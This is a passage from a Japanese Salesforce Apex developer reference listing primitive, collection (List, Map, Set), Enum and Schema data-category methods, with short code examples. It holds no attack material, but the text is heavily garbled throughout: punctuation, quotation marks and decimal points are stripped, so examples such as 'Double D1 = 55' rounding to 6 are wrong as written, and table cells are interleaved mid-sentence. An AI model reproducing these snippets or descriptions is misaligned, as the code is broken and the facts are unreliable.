IntegerintValue

この Double の Long の値を返しますLonglongValue

この Double の丸めた値を返します数値は均等丸めモードを使用して0 の小数位に丸めますつ

Longround

まり2 つの近隣が等距離にない限りは「最近隣」に等距離にある場合このモードは均等な近隣に対して丸めますこの丸めモードは統計的に連続する計算に対して繰り返し適用される場合累積エラーを最小化します均等丸めモードの詳

参照 Version 180 | Apex Primitive メソッド | 219

説明戻り値の型引数名前

細は 「丸めモード」 (ページ 217)を参照してください例

Double D1 = 55 Long L1 = D1round()systemassertEquals(L1 6)

Double D2= 52 Long L2= D2round()systemassertEquals(L2 5)

Double D3= -57 Long L3= D3round()systemassertEquals(L3 -6)

Double の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Integer メソッド

次にInteger のシステム静的メソッドを示します

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをInteger に投入しますanyType データ型の詳細は

IntegeranyTypexvalueOf

『Forcecom Web Services API Developers Guide』の「ファイルのデータ型」を参照してください

指定した String の値を含む Integer を返しますJava と同様String は署名付きの 10 進数整数を示すものとして解釈されます例Integer myInt = integervalueOf(123)

IntegerString svalueOf

次にInteger のインスタンスメソッドを示します

説明戻り値の型引数名前

Integer を文字列として返しますStringformat

Integer の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

Long メソッド

次にLong のシステム静的メソッドを示します

参照 Version 180 | Apex Primitive メソッド | 220

説明戻り値の型引数名前

指定した String の値を含む Long を返しますJavaと同様文字列は符号付きの小数 Long を示すものとして解釈されます例Long L1 = longvalueOf(123456789)

LongString svalueOf

次にLong のインスタントメソッドを示します

説明戻り値の型引数名前

この Long の文字列形式を返しますStringformat

Long の Integer の値を返しますIntegerintValue

Long の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

String メソッド

次にString のシステム静的メソッドを示します

説明戻り値の型引数名前

String sの単一引用符の前にエスケープ文字 () を追加した String を返しますこのメソッドは動的

StringString sescapeSingleQuotes

SOQL ステートメントを作成する場合に役に立ちSOQL インジェクションを回避します動的SOQL の詳細は「動的 SOQL」 (ページ 140)を参照してください

現在の文字列をapexoutputText と同じ方法で置換に使用するパターンとして扱います

StringString s

ListltStringgtarguments

format

整数のリストの値から文字列を返しますStringListltIntegergtcharArray

fromCharArray

指定した Date を示す String を標準の「yyyy-MM-dd」形式で返します例Date myDate = DateToday() String sDate= StringvalueOf(myDate)

StringDate dvalueOf

指定した Datetime を示す String を現地のタイムゾーンの標準「yyyy-MM-dd HHmmss」形式で返します

StringDatetime dtvalueOf

指定された Decimal を示す String を返しますStringDecimal dvalueOf

参照 Version 180 | Apex Primitive メソッド | 221

説明戻り値の型引数名前

データ型 anyType の履歴管理表の項目である xをString に投入します例

Double myDouble = 1234 String myString= StringvalueOf(myDouble)SystemassertEquals(1234 myString)

StringanyType xvalueOf

anyType データ型の詳細は『Forcecom Web ServicesAPI Developers Guide』の「項目のデータ型」を参照してください

指定した Datetime を示す String を GMT タイムゾーンの標準「yyyy-MM-dd HHmmss」形式で返します

StringDatetime dtvalueOfGmt

次にString のインスタンスメソッドを示します

説明戻り値の型引数名前

String の各文字の Unicode 値に基づいて2 つの文字列を辞書編集的に比較します結果は次のとおりです

IntegerString compStringcompareTo

bull メソッドをコールした String が辞書編集的にcompStringの前に来る場合は負の Integer

bull メソッドをコールした String が辞書編集的にcompStringの後に来る場合は正の Integer

bull Strings が等しい場合 0

Strings が異なる索引位置がない場合辞書編集的には短い String が長い String の後に来ます例

String myString1 = abcde StringmyString2 = abcd Integer result =myString1compareTo(myString2)SystemassertEquals(result 1)

equalsメソッドが真を返す場合このメソッドは 0 を返します

メソッドをコールした String に compStringの指定した連続する文字が含まれている場合にのみtrueを返します例

String myString1 = abcde StringmyString2 = abcd Boolean result =

BooleanString compStringcontains

myString1contains(myString2)SystemassertEquals(result true)

参照 Version 180 | Apex Primitive メソッド | 222

説明戻り値の型引数名前

メソッドをコールした String が suffixで終わる場合trueを返します

BooleanString suffixendsWith

compStringが null でなくメソッドをコールした String と同じ 2 進数列の文字を示す場合true

BooleanString compStringequals

を返しますcompareToメソッドが 0 を返す場合このメソッドは真を返します例

String myString1 = abcde StringmyString2 = abcd Boolean result =myString1equals(myString2)SystemassertEquals(result false)

==演算子は String も比較も行いますが大文字と小文字を区別して Apex セマンティックに一致させます(==はID を比較する場合も同じ理由で大文字と小文字を区別します)

compStringが null でなくメソッドをコールした String と同じ連続する文字を示す場合trueを返します大文字と小文字は無視します例

String myString1 = abcd StringmyString2 = ABCD Boolean result =

BooleanString compStringequalsIgnoreCase

myString1equalsIgnoreCase(myString2)SystemassertEquals(result true)

指定したサブ文字列が最初に発生した索引を返しますサブ文字列がない場合このメソッドは -1を返します

IntegerString subStringindexOf

索引 iの位置から指定されたサブ文字列が最初に発生する索引を返しますサブ文字列がない場合このメソッドは -1 を返します例

String myString1 = abcd StringmyString2 = bc Integer result =

IntegerString substring

Integer i

indexOf

myString1indexOf(myString2 0)SystemassertEquals(result 1)

指定したサブ文字列が最後に発生した索引を返しますサブ文字列がない場合このメソッドは -1を返します

IntegerString substringlastIndexOf

String に含まれる 16 ビット Unicode 文字の数を返します例String myString = abcd Integer result= myStringlength()SystemassertEquals(result 4)

Integerlength

参照 Version 180 | Apex Primitive メソッド | 223

説明戻り値の型引数名前

リテラルターゲットシーケンス targetに一致する文字列のサブ文字列と指定したリテラル置換シーケンス replacementと置き換えます

StringString target

String replacement

replace

正規表現 regExpに一致する文字列のサブ文字列と置換シーケンス replacementと置き換えま

StringString regExp

String replacement

replaceAll

す正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

正規表現 regExpに一致する文字列の最初のサブ文字列と置換シーケンスreplacementと置き換

StringString regExp

String replacement

replaceFirst

えます正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

文字列の各サブ文字列を含むリストを返しますこのサブ文字列は正規表現regExpまたは文字

String[]String regExp

Integer limit

split

列の末尾に達したことにより終了します正規表現の詳細はhttpjavasuncomj2se150docsapijavautilregexPatternhtmlを参照してください

このサブ文字列は文字列の中で発生した順序でリストに記述されます regExpが String の一部に一致しない場合結果リストには元の文字列を含む要素が 1 つだけ含まれます

オプションの limitパラメータはパターンが適用された回数を制御するためリストの長さに影響を与えます

bull limitが 0 より大きい場合パターンは最大limit - 1 回適用されたことになりますまたリストの長さは最大 limitとなりリストの最後のエントリには最後に一致した区切り文字移行のすべての入力が含まれます

bull limitが正の値でない場合パターンを何度でも適用することが可能となりリストの長さも任意となります

bull limitが 0 の場合パターンは何度でも適用することが可能となりリストの長さも任意となりますが残りの続く空の文字列は破棄されます

たとえばString s = booandfooの場合次のようになります

bull ssplit( 2)は boo andfooを生成します

参照 Version 180 | Apex Primitive メソッド | 224

説明戻り値の型引数名前

bull ssplit( 5)はboo and foo

を生成しますbull ssplit( -2)は boo and

fooを生成しますbull ssplit(o 5)は b andf

を生成しますbull ssplit(o -2)は b andf

を生成しますbull ssplit(o 0)は b andf

を生成します

メソッドをコールした String が prefixで始まる場合trueを返します

BooleanString prefixstartsWith

指定した startIndexの文字で始まり String の末尾まで続く新しい String を返します

StringInteger startIndexsubstring

指定した startIndexの文字で始まり endIndex -1 の文字まで続く新しい String を返します例

hamburgersubstring(4 8) Returnsurge

StringInteger startIndex

Integer endIndex

substring

smilessubstring(1 5) Returnsmile

String のすべての文字をデフォルトのロケールの規則を使用して小文字に変換します

StringtoLowerCase

String のすべての文字を指定したロケールの規則を使用して小文字に変換します

StringString localetoLowerCase

String のすべての文字をデフォルトのロケールの規則を使用して大文字に変換します例String myString1 = abcd StringmyString2 = ABCD myString1 =

StringtoUpperCase

myString1toUpperCase() Boolean result= myString1equals(myString2)SystemassertEquals(result true)

String のすべての文字を指定したロケールの規則を使用して大文字に変換します

StringString localetoUpperCase

先頭末尾のスペースタブ改行文字など空白文字を含まない String を返します

Stringtrim

String の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

参照 Version 180 | Apex Primitive メソッド | 225

Time メソッド

次にTime のシステム静的メソッドを示します

説明戻り値の型引数名前

hourminutessecondsおよびmilliseconds

の Integer 表現から Time を構築します次の例では1820220 の時間を作成します

Time myTime = TimenewInstance(18 302 20)

TimeInteger hour

Integer minutes

Integer seconds

Integermilliseconds

newInstance

次にTime のインスタンスメソッドを示します

説明戻り値の型引数名前

指定した addlHoursの数を Time に追加しますTimeInteger addlHoursaddHours

指定した addlMillisecondsの数を Time に追加します

TimeIntegeraddlMilliseconds

addMilliseconds

指定した addlMinutesの数を Time に追加します例

Time myTime = TimenewInstance(18 302 20)

TimeIntegeraddlMinutes

addMinutes

Integer myMinutes = myTimeminute()myMinutes = myMinutes + 5

SystemassertEquals(myMinutes 35)

指定した addlSecondsの数を Time に追加します

TimeIntegeraddlSeconds

addSeconds

Time の hour のコンポーネントを返します例Time myTime = TimenewInstance(18 302 20)

Integerhour

myTime = myTimeaddHours(2)

Integer myHour = myTimehour()SystemassertEquals(myHour 20)

Time の millisecond のコンポーネントを返しますIntegermillisecond

Time の minute のコンポーネントを返しますIntegerminute

Time の second のコンポーネントを返しますIntegersecond

Time の詳細は「プリミティブデータ型」 (ページ 27)を参照してください

参照 Version 180 | Apex Primitive メソッド | 226

Apex Collection メソッド

Apex Collection メソッドApex のすべてのコレクションにはそれらに関連するメソッドがありデータを割り当て取得および処理しますコレクションは次のとおりです

bull Listbull Mapbull Set

メモ 保持できる項目の数については制限はありませんただしヒープサイズには制限があります

List メソッド

リストメソッドはすべてのインスタンスメソッドでリストの特定のインスタンスに操作されますたとえば次のコードは myListからすべての要素を削除します

myListclear()

clearメソッドにはパラメータは含まれませんがそれをコールするリスト自身が暗黙的なパラメータです

次にList のインスタンスパラメータを示します

メモ 以下の表ではList_elemはリストと同じデータ型の単一の要素を示します

説明戻り値の型引数名前

リストの最後に要素 eを追加します例

ListltIntegergt myList = newListltIntegergt() myListadd(47) Integer

VoidAny typeeadd

myNumber = myListget(0)systemassertEquals(myNumber 47)

要素 eをリストの索引位置 iで追加します次の例では 6 つの要素を持つリストが作成され整数が最初と 2 番目の索引位置に追加されます

ListltIntegergt myList = new Integer[6]myListadd(0 47) myListadd(1 52)systemassertEquals(myListget(1) 52)

VoidInteger i

Any typee

add

リスト lのすべての要素がメソッドをコールするリストに追加されます2 つのリストは同じデータ型である必要があります

VoidList laddAll

参照 Version 180 | Apex Collection メソッド | 227

説明戻り値の型引数名前

セット sのすべての要素がメソッドをコールするリストに追加されますセットとリストのタイプは同じでなければなりません

VoidSet saddAll

すべての要素をリストから削除し続いてリストの長さを 0 に設定します

Voidclear

リストの複製コピーを作成します

これが sObject レコードのリストである場合複製リストはリストの浅いコピーとなりますつま

List (同じデータ型)clone

り複製には各オブジェクトに対する参照がありますがsObject レコード自体は複製されません例

Account a = new Account(name=Acmebillingcity=New York) Account b = newAccount() Account[] l1 = newAccount[]ab Account[] l2 =l1clone() l1[0]billingcity = SanFrancisco SystemassertEquals(l1[0]billingcity San Francisco)SystemassertEquals( l2[0]billingcitySan Francisco)

sObject レコードもコピーするにはdeepClone

メソッドを使用する必要があります

sObject レコード自体を含めsObject レコードのリストの複製コピーを作成します例Account a = new Account(name=Acmebillingcity=New York) Account b = new

List (同じオブジェクトタイプ)

Booleanopt_preserve_id

deepClone

Account() Account[] l1 = newAccount[]ab Account[] l2 =l1deepClone() l1[0]billingcity = SanFrancisco SystemassertEquals(l1[0]billingcity San Francisco)SystemassertEquals( l2[0]billingcityNew York)

メモ deepCloneはプリミティブデータ型のリストではなくsObject のリストにのみ動作します

オプションの opt_preserve_id引数は元のオブジェクトの ID を複製で保持するかまたは削除するかを指定します

リストが含む sObject レコードを複製せずにリストの浅いコピーを作製するにはclone()メソッドを使用します

参照 Version 180 | Apex Collection メソッド | 228

説明戻り値の型引数名前

索引 iに保存されたリスト要素を返します例

ListltIntegergt myList = newListltIntegergt() myListadd(47) Integer

Array_elemInteger iget

myNumber = myListget(0)systemassertEquals(myNumber 47)

プリミティブデータ型または sObjects の一次元リストの要素を参照するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Bluecolors[2] = Green

sObject のリストを構成する sObjects タイプのトークンを返します定義情報とともに使用してリ

SchemaSObjectTypegetSObjectType

ストに特定の種類の sObjects を含むかどうかを指定します例public class listTest 一般的なsObject 変数 s を作成 SObject s =Databasequery (SELECT Id FROM AccountLIMIT 1)

sObject 変数が 取引先のトークンであるかを確認SystemassertEquals(sgetSObjectType()AccountsObjectType)

一般的な sObjects のリストを作成ListltsObjectgt l = new Account[]

sObject のリストに 取引先のトークンが含まれているかを確認SystemassertEquals(sgetSObjectType()AccountsObjectType)

このメソッドは sObjects から構成されているリストとともにのみ使用できます

詳細は「Apex 定義情報について」 (ページ 135)を参照してください

リストの要素が 0 の場合True を返しますBooleanisEmpty

イタレータのインスタンスを返しますイタレータから反復可能なメソッドhasNextおよびnext

を使用してリスト内で反復できます例

global class CustomIterable implementsIteratorltAccountgt ListltAccountgt accs

イタレータiterator

get set Integer i get set public

参照 Version 180 | Apex Collection メソッド | 229

説明戻り値の型引数名前CustomIterable() accs = [SELECT idname numberofEmployees FROM AccountWHERE name = false] i = 0 globalboolean hasNext() if(i gt= accssize())return false else return true global Account next() if(i == 8) i++return null i=i+1 return accs[i-1]

メモ リストで iterableメソッドを使用するために iterableインターフェースを使用する必要はありません

リストの i番目の索引で保存された要素を削除し削除された要素を返します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Blue

Array_elemInteger iremove

colors[2] = Green String S1 =colorsremove(2)systemassertEquals(S1 Green)

eをリストの索引 iの位置に割り当てます例

ListltIntegergt myList = new Integer[6]myListset(0 47) myListset(1 52)systemassertEquals(myListget(1) 52)

VoidInteger i

Any typee

set

プリミティブデータ型または sObjects の一次元リストの要素を設定するためにリスト名の後に要素の索引の位置を大かっこで囲んで表記します例

ListltStringgt colors = new String[3]colors[0] = Red colors[1] = Bluecolors[2] = Green

リストの要素の数を返します例ListltIntegergt myList = newListltIntegergt() Integer size =

Integersize

myListsize() systemassertEquals(size0)

ListltIntegergt myList2 = new Integer[6]Integer size2 = myList2size()systemassertEquals(size2 6)

リスト内の項目を昇順で並べ替えますプリミティブデータ型で構成されているリストとともにのみ

Voidsort

このメソッドを使用できます次の例でリストには 3 つの要素がありますリストを並べ替える

参照 Version 180 | Apex Collection メソッド | 230

説明戻り値の型引数名前

場合最初の要素には値が割り当てられていないため null で2 番目の要素の値は 5 となりますListltIntegergt L1 = new Integer[3] Assign values to the first twoelements L1[0] = 10 L1[1] = 5L1sort() First element is nullsecond is 5systemassertEquals(L1get(1) 5)

リストについての詳細はリスト (ページ 34)を参照してください

Map メソッド

マップメソッドはすべてのインスタンスメソッドでマップの特定のインスタンスに操作されます次にマップのインスタンスメソッドを示します

メモ 以下の表では次のようになります

bull Key_typeはマップキーのプリミティブデータ型を示しますbull Value_typeマップ値のプリミティブまたは sObject データ型を示しま

説明戻り値の型引数名前

マップからすべてのキー値マッピングを削除しますVoidclear

マップの複製コピーを作成します

これが sObject レコード値のマップである場合複製マップはマップの浅いコピーとなりますつまり複製

Map (同じデータ型)

clone

には各オブジェクトレコードに対する参照がありますがsObject レコード自体は複製されません例

Account a = new Account(name=Acmebillingcity=New York)

MapltInteger Accountgt map1 = newMapltInteger Accountgt

map1put(1 a)

MapltInteger Accountgt map2 = map1clone()

map1get(1)billingcity = San Francisco

SystemassertEquals(map1get(1)billingcitySan Francisco)SystemassertEquals(map2get(1)billingcitySan Francisco)

sObject レコードもコピーするにはdeepCloneメソッドを使用する必要があります

参照 Version 180 | Apex Collection メソッド | 231

説明戻り値の型引数名前

マップに指定された keyのマッピングが含まれている場合は真を返します例

Mapltstring stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Booleanキータイプ keycontainsKey

FF0000) colorCodesput(Blue0000A0) Boolean contains =colorCodescontainsKey(Blue)SystemassertEquals(contains True)

sObject レコード値を含むマップである場合sObject レコードなどの複製コピーを作成します例Account a = new Account(name=Acmebillingcity=New York)

Map (同じデータ型)

deepClone

MapltInteger Accountgt map1 = newMapltInteger Accountgt map1put(1 a)

MapltInteger Accountgt map2 =map1deepClone()

map1get(1)billingcity = San Francisco

SystemassertEquals(map1get(1)billingcity San Francisco)SystemassertEquals(map2get(1)billingcity New York)

リストが含む sObject レコードを複製せずにマップの浅いコピーを作製するにはclone()メソッドを使用します

指定した keyがマップされる値またはマップにこのキーの値が含まれていない場合nullを返します例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeキータイプ keyget

FF0000) colorCodesput(Blue0000A0) String code =colorCodesget(Blue)SystemassertEquals(code 0000A0)

次はマップ内の 色ではありません Stringcode2 = colorCodesget(Magenta)SystemassertEquals(code2 null)

マップ値を構成する sObjects タイプのトークンを返します定義情報とともに使用してマップに特定の種類の sObjects を含むかどうかを指定します例public class mapTest 一般的な sObject変数 s を作成 SObject s = Databasequery

SchemaSObjectTypegetSObjectType

(SELECT Id FROM Account LIMIT 1)

sObject 変数が 取引先のトークンであるかを確認 SystemassertEquals(sgetSObjectType()

参照 Version 180 | Apex Collection メソッド | 232

説明戻り値の型引数名前AccountsObjectType)

一般的な sObjects のマップを作成 MapltIntegerAccountgt M = new MapltInteger Accountgt()

sObjects のリストに 取引先のトークンが含まれているかを確認SystemassertEquals(MgetSObjectType()AccountsObjectType)

このメソッドは sObjects 値を持つマップとともにのみ使用できます

詳細は「Apex定義情報について」 (ページ135)を参照してください

マップに内のキー値ペアが空の場合True を返します例MapltString Stringgt colorCodes = newMapltString Stringgt() Boolean empty =

BooleanisEmpty

colorCodesisEmpty()systemassertEquals(empty true)

マップのすべてのキーを含むセットを返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Key_typeのセット

keySet

FF0000) colorCodesput(Blue0000A0) Set ltStringgt colorSet = newSetltStringgt() colorSet =colorCodeskeySet()

指定した valueとマップの keyを関連付けますマップぬすでにこのキーのマッピングを含む場合以前の値はメソッドで返されその後置き換えられます例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeKey key

Value value

put

ff0000) colorCodesput(RedFF0000) Red is now FF0000

指定したマップmからのすべてのマッピングを元のマップにコピーしますmからの新しいマッピングは元のマップにのマッピングを置き換えます

VoidMap mputAll

マップが sObjects に対する IDs または Strings である場合sObject レコード lのリストをこの入力のマップコンストラクタと同じ方法でマップに追加します

sObject[] lputAll

keyこのキーのマッピング (ある場合) をマップから削除します値はメソッドで返され削除されます例

MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeKey keyremove

参照 Version 180 | Apex Collection メソッド | 233

説明戻り値の型引数名前FF0000) colorCodesput(Blue0000A0) String myColor =colorCodesremove(Blue) String code2 =colorCodesget(Blue)SystemassertEquals(code2 null)

マップのキー値のペアの数を返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Integersize

FF0000) colorCodesput(Blue0000A0) Integer mSize =colorCodessize()systemassertEquals(mSize 2)

マップのすべての値を含むリストを順不同で返します例MapltString Stringgt colorCodes = newMapltString Stringgt() colorCodesput(Red

Value_typeのリスト

values

FF0000) colorCodesput(Blue0000A0) ListltStringgt colors = newListltStringgt() colors =colorCodesvalues()

マップについての詳細はマップ (ページ 36)を参照してください

Set メソッド

Set メソッドはセットつまり setキーワードを使用して初期化されたプリミティブの順序が指定されていないコレクションに機能しますSet メソッドはすべてのインスタンスメソッドでセットの特定のインスタンスに操作されます次にSet のインスタンスメソッドを示します

メモ 以下の表ではSet_elemはセットと同じデータ型の単一の要素を示しますSet にはプリミティブデータ型のみを含みます

説明戻り値の型引数名前

まだ存在しない場合は要素を Set に追加します

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

setltstringgt myString = newSetltStringgta b c Boolean

BooleanSet 要素 eadd

result result = myStringadd(d)systemassertEquals(result true)

まだ存在しない場合指定されたリストのすべての要素をセットに追加しますこのメソッドは

BooleanList laddAll

リストとセットの union を生成しますリストは

参照 Version 180 | Apex Collection メソッド | 234

説明戻り値の型引数名前

メソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に trueを返します

まだ存在しない場合指定されたセットのすべての要素をメソッドをコールするセットに追加しま

BooleanSet saddAll

すこのメソッドは2 つのセットの unionを生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

setltstringgt myString = newSetltStringgta b setltstringgtsString = new SetltStringgtc

Boolean result1 result1 =myStringaddAll(sString)systemassertEquals(result1 true)

セットからすべての要素を削除しますVoidclear

セットの複製コピーを作成しますSet (同じデータ型)clone

セットに指定した要素がある場合trueを返します例

setltstringgt myString = newSetltStringgta b Boolean result

BooleanSet 要素 econtains

result = myStringcontains(z)systemassertEquals(result false)

指定したリストにすべての要素がある場合真を返しますリストはメソッドをコールするセットと同じ型でなければなりません

BooleanList lcontainsAll

指定したセットにすべての要素がある場合真を返します指定されたセットはメソッドをコー

BooleanSet scontainsAll

ルする元のセットと同じ型でなければなりません例setltstringgt myString = newSetltStringgta b setltstringgtsString = new SetltStringgtcsetltstringgt rString = newSetltStringgta b c

Boolean result1 result2 result1 =myStringaddAll(sString)systemassertEquals(result1 true)

参照 Version 180 | Apex Collection メソッド | 235

説明戻り値の型引数名前result2 = myStringcontainsAll(rString)systemassertEquals(result2 true)

セットの要素が 0 の場合True を返します例Setltintegergt mySet = new Setltintegergt()Boolean result result =

BooleanisEmpty

mySetisEmpty()systemassertEquals(result true)

存在する場合は指定した要素をセットから削除します

このメソッドは元のセットがコールの結果として変更された場合に真を返します

BooleanSet 要素 eremove

存在する場合は指定したリストの要素をセットから削除しますこのメソッドは2 つのセットの

BooleanList lremoveAll

relative compliment を生成しますリストはメソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = newListltintegergt1 3 Boolean result =mySetremoveAll(myList)SystemassertEquals(result true)

Integer result2 = mySetsize()SystemassertEquals(result2 1)

存在する場合は指定したセットの要素を元のセットから削除しますこのメソッドは2 つのセッ

BooleanSet sremoveAll

トの relative compliment を生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します

指定したリストに含まれるこのセットの要素のみを保持しますこのメソッドはリストとセット

BooleanList lretainAll

の intersection を生成しますリストはメソッドをコールするセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します例

Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = new

参照 Version 180 | Apex Collection メソッド | 236

説明戻り値の型引数名前Listltintegergt1 3 Boolean result =mySetretainAll(myList)

SystemassertEquals(result true)

指定したセットに含まれる元のセットの要素のみを保持しますこのメソッドは2 つのセットの

BooleanSet sretainAll

intersection を生成します指定されたセットはメソッドをコールする元のセットと同じ型でなければなりません

このメソッドは元のセットがコールの結果として変更された場合に真を返します

セットの要素の数 (基数) を返します例Setltintegergt mySet = new Setltintegergt12 3 Listltintegergt myList = new

Integersize

Listltintegergt1 3 Boolean result =mySetretainAll(myList)

SystemassertEquals(result true)

Integer result2 = mySetsize()SystemassertEquals(result2 2)

セットについての詳細は「セット」 (ページ 35)を参照してください

Enum メソッドEnum 値はユーザー定義のメソッドを追加できませんがシステム Enum 値を含むすべての Enum 値は次のメソッドを Apex で定義します

説明戻り値の型引数名前

Enum 項目の名前を String として返します

Stringname

0 から始まる Enum 値のリスト内の項目の位置を返します

Integerordinal

Enum 項目の値を String として返します

Stringvalues

Integer I = StatusCodeDELETE_FAILEDordinal() String S = MyEnumXname()

Enum についての詳細は「Enum 値」 (ページ 38)を参照してください

参照 Version 180 | Enum メソッド | 237

sObject メソッド

Apex sObject メソッド用語 sObjectはSalesforcecom プラットフォームデータベースに保存できるオブジェクトのことをいいます次の Apex sObject メソッドにはsObject 構造の説明に使用する一般的なクラスのほかすべての sObject と使用できるメソッドが含まれます

bull Schemabull sObjectbull sObject 定義結果bull 項目定義結果bull カスタム設定

Schema メソッド

次の表ではSchema の静的システムメソッドを示しています

説明戻り値の型引数名前

組織で定義された標準オブジェクトおよびカスタムオブ

MapltStringSchemaSObjectTypegt

getGlobalDescribe

ジェクトのすべての sObject名 (キー) のマップをsObjectトークン (値) に返します例MapltStringSchemaSObjectTypegt gd=SchemagetGlobalDescribe()

詳細は「すべての sObjectsへのアクセス」 (ページ 138)を参照してください

指定したオブジェクトに関連するカテゴリグループのリス

ListltSchemaDescribeDataCategoryGroupResultgt

StringListltsObjectNamesgt

describeDataCategoryGroups

トを返します次のsObjectNames のいずれかを指定できますbull KnowledgeArticleVersion

記事タイプに関連するカテゴリグループを取得します

bull Question 記事タイプに関連するカテゴリグループを取得します

参照 Version 180 | sObject メソッド | 238

説明戻り値の型引数名前

describeDataCategoryGroupsの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

記事および質問に関する詳細はSalesforcecomオンラインヘルプ「記事の管理」「Answers の概要」を参照してください

要求で指定されたオブジェクトのデータカテゴリ構造とと

ListltSchemaDescribeDataCategoryGroupStructureResultgt

pairstopCategoriesOnly

describeDataCategoryGroupStructures

もに使用できるカテゴリグループを返しますdescribeDataCategoryGroupStructuresの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

データカテゴリグループ構造定義の引数

describeDataCategoryGroupStructuresメソッドはデータカテゴリ構造とともに使用できるカテゴリグループを返します次にこのメソッドの引数を示します

説明戻り値の型名前

SchemaDataCategoryGroupSobjectTypePair を問い合わせる 1 つまたは複数のカテゴリグ

ListltSchemaDataCategoryGroupSobjectTypePairgtpairs

ループおよびオブジェクトを指定します指定されたオブジェクトの表示可能なデータカテゴリを取得します

カテゴリグループ表示の詳細はSalesforcecom オンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

trueを指定してオブジェクとを分類する上位表示カテゴリだけを返しますfalseを

BooleantopCategoriesOnly

指定して表示できるすべての親カテゴリおよび子カテゴリを返します両方の値はユーザのロールカテゴリグループ表示設定によって異なりますカテゴリグループ表示の

参照 Version 180 | Apex sObject メソッド | 239

説明戻り値の型名前

詳細はSalesforcecom オンラインヘルプの「カテゴリグループ表示設定の概要」を参照してください

SchemaDataCategoryGroupSobjectTypePair オブジェクト

SchemaDataCategoryGroupSobjectTypePair はカテゴリグループと関連オブジェクトを指定しますdescribeDataCategoryGroupStructuresメソッドで使用してこのオブジェクトに使用できるカテゴリを返します次の表はSchemaDataCategoryGroupSobjectTypePair のすべてのメソッドを示しています

説明戻り値の型引数名前

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetDataCategoryGroupName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

データカテゴリグループにアクセスするAPIで使用される一意の名前を指定します

StringsetDataCategoryGroupName

sObjectNameはデータカテゴリグループに関連するオブジェクト名です有効な値は次のとおりです

VoidString sObjectNamesetSobject

bull KnowledgeArticleVersion 記事タイプの場合

bull Question Answers の質問の場合

SchemaDescribeDataCategoryGroupResult オブジェクト

describeDataCategoryGroups メソッドは指定のオブジェクトに関連するカテゴリグループのリストを含むSchemaDescribeDataCategoryGroupResult オブジェクトを返します

次にデータカテゴリグループ定義結果オブジェクトのインスタンス化方法の例を示します

List ltStringgt objType = new ListltStringgt() objTypeadd(KnowledgeArticleVersion)objTypeadd(Question)

ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

describeDataCategoryGroups の使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

以下の表はデータカテゴリグループ定義結果の一部として利用可能なメソッドを示しています引数をとるメソッドはありません

参照 Version 180 | Apex sObject メソッド | 240

説明戻り値の型名前

データカテゴリグループの表示データカテゴリ数を返します

IntegergetCategoryCount

データカテゴリグループの説明を返しますStringgetDescription

Salesforcecomユーザインターフェースで使用するデータカテゴリグループのラベルを返します

StringgetLabel

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

SchemaDescribeDataCategoryGroupStructureResult オブジェクト

describeDataCategoryGroupStructuresメソッドは指定したオブジェクトのカテゴリグループおよびカテゴリを含む SchemaDescribeDataCategoryGroupStructureResult オブジェクトのリストを返します

次にデータカテゴリグループ構造定義結果オブジェクトのインスタンス化方法の例を示します

List ltDataCategoryGroupSobjectTypePairgt pairs = new ListltDataCategoryGroupSobjectTypePairgt()

DataCategoryGroupSobjectTypePair pair1 = new DataCategoryGroupSobjectTypePair()pair1setSobject(KnowledgeArticleVersion) pair1setDataCategoryGroupName(Regions)

DataCategoryGroupSobjectTypePair pair2 = new DataCategoryGroupSobjectTypePair()pair2setSobject(Questions) pair2setDataCategoryGroupName(Regions)

pairsadd(pair1) pairsadd(pair2)

ListltSchemaDescribeDataCategoryGroupStructureResultgtresults =SchemadescribeDataCategoryGroupStructures(pairs true)

describeDataCategoryGroupStructuresの使用についての詳細およびコード例は「sObject に関連するすべてのカテゴリのアクセス」を参照してください

以下の表はデータカテゴリグループ構造定義結果の一部として利用可能なメソッドを示しています引数をとるメソッドはありません

説明戻り値の型名前

データカテゴリグループの説明を返しますStringgetDescription

Salesforcecomユーザインターフェースで使用するデータカテゴリグループのラベルを返します

StringgetLabel

データカテゴリグループにアクセスするAPIで使用される一意の名前を返します

StringgetName

データカテゴリグループに関連するオブジェクト名を返します

StringgetSobject

参照 Version 180 | Apex sObject メソッド | 241

説明戻り値の型名前

